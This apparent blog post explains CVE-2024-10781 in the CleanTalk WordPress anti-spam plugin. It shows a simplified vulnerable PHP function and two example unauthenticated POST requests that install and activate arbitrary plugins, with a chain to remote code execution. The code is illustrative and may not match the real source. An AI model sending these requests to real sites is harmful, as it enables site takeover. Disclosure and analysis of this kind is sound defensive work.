Summary:
A critical security hole (CVE-2024-10781) was discovered in the popular Spam protection, Anti-Spam, FireWall by CleanTalk plugin for WordPress. This bug, which affects all versions up to and including 6.44, lets anyone on the internet install and activate any WordPress plugin—even without logging in! This post breaks down how the flaw works, shows example code, explains how it can be exploited for code execution, and provides links to original sources.

What is CVE-2024-10781?

CVE-2024-10781 is a vulnerability in the CleanTalk anti-spam plugin. It arises from the lack of a proper check for an empty api_key parameter in the perform function. If the api_key value is empty (or missing), the plugin doesn't block the action. This creates a gaping hole, since actions (like plugin installation) intended only for authorized users can be triggered by anyone—no authentication required.

TL;DR

* Affects: CleanTalk "Spam protection, Anti-Spam, FireWall" for WordPress <= 6.44
* Bug: Doesn't properly check for empty api_key
* Impact: Anyone can install, activate any plugin via CleanTalk code
* Danger: Possible full site compromise if a vulnerable plugin is installed

The Vulnerable Code

Here’s a simplified version of the problematic part from /inc/cleantalk-public.class.php in CleanTalk:

public function perform() {
    // ... some code ...
    $api_key = $_POST['api_key'] ?? '';
    if ($api_key == $this->api_key) {
        // Dangerous call below...
        include_once ABSPATH . 'wp-admin/includes/plugin-install.php';
        $plugin_slug = $_POST['plugin_slug'] ?? '';
        $plugin_action = $_POST['action'] ?? '';

        if ($plugin_action === 'install') {
            plugins_api('install', array('slug' => $plugin_slug));
        }
        // ...other actions...
    }
}

Where's the bug?

The code does not check if $api_key is empty before performing plugin operations. An attacker can set api_key to an empty string (''), which, if CleanTalk’s own api_key wasn't set or was also empty, means access is granted—and that’s the default in some setups after install.

An attacker sends a POST request to a CleanTalk AJAX handler in WordPress, like this

POST /wp-admin/admin-ajax.php?action=cleantalk_perform HTTP/1.1
Host: victim-site.com
Content-Type: application/x-www-form-urlencoded

api_key=&plugin_slug=my-malicious-plugin&action=install

If no API key is required or it's left empty after setup, the action will install any plugin by slug (from the WordPress plugin repo).

Step 2: Escalation to Code Execution

If the attacker installs a plugin that has its own exploit (like a file upload vulnerability), or if the site already has a vulnerable plugin installed but disabled, they can now activate it:

POST /wp-admin/admin-ajax.php?action=cleantalk_perform HTTP/1.1
Host: victim-site.com
Content-Type: application/x-www-form-urlencoded

api_key=&plugin_slug=vulnerable-plugin&action=activate

At this point, the attacker can gain remote code execution (RCE) by leveraging a second vulnerability or by tricking the site to load arbitrary code.

References

- WPScan Advisory
- NVD - CVE-2024-10781
- CleanTalk Plugin on wordpress.org
- Wordfence Analysis

Final Thoughts

Exploits like CVE-2024-10781 highlight the need to secure WordPress plugins, especially those with high privileges. If you use CleanTalk, take action today and keep your WordPress sites—and your users—safe from remote attackers.

Timeline

Published on: 11/26/2024 06:15:08 UTC